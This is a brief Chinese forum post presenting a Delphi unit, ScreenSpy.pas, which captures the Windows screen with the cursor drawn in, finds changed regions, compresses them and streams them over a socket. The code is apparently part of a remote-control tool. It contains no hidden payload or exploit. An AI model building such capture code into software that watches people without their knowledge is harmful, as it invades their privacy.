屏幕传输ScreenSpy.pas单元原本传输的屏幕图像中没有看见鼠标,小的只是加多了个可以看见鼠标进去,呵呵。
unit ScreenSpy;
interface
uses
Windows, Classes, Variants, SysUtils, Graphics, Controls, Math, OverbyteIcsWSocket, Clipbrd, ZLibEx;
const
DEF_STEP = 23;
OFF_SET = 24;
type
PCapCmd = ^TCapCmd;
TCapCmd = packed record
Cmd: Byte;
Size: Integer;
Width: Word;
Height: Word;
end;
PCtlCmd = ^TCtlCmd;
TCtlCmd = packed record
Cmd: Byte;
X, Y: Word;
end;
TScreenSpy = class(TThread)
private
FScrStream: TMemoryStream;
FSendStream: TMemoryStream;
FFullBmp, FLineBmp, FRectBmp: TBitmap;
FWidth, FHeight, FLine: Integer;
FRect: TRect;
FSocket: TWSocket;
FCmd: TCapCmd;
vCursor:HCURSOR;
vDC:HDC;
//
function CheckScr: Boolean;
function GetFirst: Boolean;
function GetNext: Boolean;
function Compress: Boolean;
function SendInfo: Boolean;
function SendData: Boolean;
procedure CopyRect(rt: TRect);
protected
procedure Execute; override;
public
constructor Create(ASocket: TWSocket); reintroduce;
destructor Destroy; override;
end;
implementation
constructor TScreenSpy.Create(ASocket: TWSocket);
begin
FreeOnTerminate := True;
FSocket := ASocket;
FScrStream := TMemoryStream.Create;
FSendStream := TMemoryStream.Create;
FFullBmp := TBitmap.Create;
FLineBmp := TBitmap.Create;
FRectBmp := TBitmap.Create;
FWidth := 0;
FHeight := 0;
inherited Create(True);
end;
destructor TScreenSpy.Destroy;
begin
FScrStream.Free;
FSendStream.Free;
FRectBmp.Destroy;
FFullBmp.Destroy;
FLineBmp.Destroy;
inherited Destroy;
end;
procedure TScreenSpy.Execute;
begin
while (not Terminated) and (FSocket.State = wsConnected) do
begin
if CheckScr then GetFirst else GetNext;
end;
end;
function TScreenSpy.CheckScr: Boolean;
var
nWidth, nHeight: Integer;
begin
Result := False;
nWidth := GetSystemMetrics(SM_CXSCREEN);
nHeight := GetSystemMetrics(SM_CYSCREEN);
if (nWidth <> FWidth) or (nHeight <> FHeight) then
begin
FWidth := nWidth;
FHeight := nHeight;
FFullBmp.Width := FWidth;
FFullBmp.Height := FHeight;
FLineBmp.Width := FWidth;
FLineBmp.Height := 1;
FFullBmp.PixelFormat := pf15bit;
FLineBmp.PixelFormat := pf15bit;
FRectBmp.PixelFormat := pf15bit;
FLine := 0;
Result := True;
end;
end;
function TScreenSpy.GetFirst: Boolean;
begin
SetCursor(LoadCursor(0,IDC_ARROW));
vCursor:=GetCursor;
vDC:=GetDC(0);
FFullBmp.Canvas.Lock;
BitBlt(FFullBmp.Canvas.Handle, 0, 0, FWidth, FHeight, vDC, 0, 0, SRCCOPY);
DrawIcon(FFullBmp.Canvas.Handle,Mouse.CursorPos.X,Mouse.CursorPos.Y,vCursor);
FFullBmp.Canvas.Unlock;
ReleaseDC(0, vDC);
SetRect(FRect, 0, 0, FWidth, FHeight);
FScrStream.Clear;
FScrStream.WriteBuffer(FRect, SizeOf(TRect));
FFullBmp.SaveToStream(FScrStream);
Result := Compress;
if Result then
begin
SendInfo;
Result := SendData;
end;
end;
procedure TScreenSpy.CopyRect(rt: TRect);
begin
FFullBmp.Canvas.Lock;
FRectBmp.Canvas.Lock;
try
SetCursor(LoadCursor(0,IDC_ARROW));
vCursor:=GetCursor;
vDC:=GetDC(0);
FRectBmp.Width := rt.Right - rt.Left;
FRectBmp.Height := rt.Bottom - rt.Top;
BitBlt(FFullBmp.Canvas.Handle, rt.Left, rt.Top, FRectBmp.Width, FRectBmp.Height, vDC, rt.Left, rt.Top, SRCCOPY);
DrawIcon(FFullBmp.Canvas.Handle,Mouse.CursorPos.X,Mouse.CursorPos.Y,vCursor);
BitBlt(FRectBmp.Canvas.Handle, 0, 0, FRectBmp.Width, FRectBmp.Height, FFullBmp.Canvas.Handle, rt.Left, rt.Top, SRCCOPY);
FScrStream.WriteBuffer(FRect, SizeOf(TRect));
FRectBmp.SaveToStream(FScrStream);
finally
FFullBmp.Canvas.Unlock;
FRectBmp.Canvas.Unlock;
end;
end;
function TScreenSpy.GetNext: Boolean;
var
p1, p2: PDWORD;
i, j: Integer;
begin
Result := False;
FScrStream.Clear;
vCursor:=GetCursor;
vDC:=GetDC(0);
i := FLine;
FLineBmp.Canvas.Lock;
while i < FHeight do
begin
BitBlt(FLineBmp.Canvas.Handle, 0, 0, FWidth, 1, vDC, 0, i, SRCCOPY);
DrawIcon(FLineBmp.Canvas.Handle,Mouse.CursorPos.X,Mouse.CursorPos.Y,vCursor);
p1 := FFullBmp.ScanLine[i];
p2 := FLineBmp.ScanLine[0];
SetRect(FRect, -1, Max(i - DEF_STEP, 0), -1, Min(i + DEF_STEP * 2, FHeight));
j := 0;
while j < FWidth do
begin
if (p1^ <> p2^) then
begin
if (FRect.Right < 0) then FRect.Left := Max(j - OFF_SET, 0);
FRect.Right := Min(j + OFF_SET, FWidth);
end;
Inc(p1);
Inc(p2);
Inc(j, 2);
end;
if (FRect.Right > -1) then
begin
CopyRect(FRect);
SetRect(FRect, -1, -1, -1, -1);
Inc(i, DEF_STEP);
end;
Inc(i, DEF_STEP);
end;
FLineBmp.Canvas.Unlock;
FLine := (FLine + 3) mod DEF_STEP;
if FScrStream.Position > 0 then
begin
Result := Compress;
if Result then Result := SendData;
end;
ReleaseDC(0, vDC);
Sleep(30);
end;
function TScreenSpy.Compress: Boolean;
begin
Result := False;
try
FSendStream.Clear;
FScrStream.Position := 0;
ZCompressStream(FScrStream, FSendStream);
FSendStream.Position := 0;
Result := True;
except
end;
end;
function TScreenSpy.SendInfo: Boolean;
begin
try
FCmd.Cmd := 1;
FCmd.Size := 0;
FCmd.Width := FWidth;
FCmd.Height := FHeight;
FSocket.Send(@FCmd, SizeOf(TCapCmd));
Result := True;
except
Result := False;
end;
end;
function TScreenSpy.SendData: Boolean;
begin
try
FCmd.Cmd := 2;
FCmd.Size := FSendStream.Size;
FSocket.Send(@FCmd, SizeOf(TCapCmd));
FSocket.Send(FSendStream.Memory, FSendStream.Size);
Result := True;
except
Result := False;
end;
end;
end.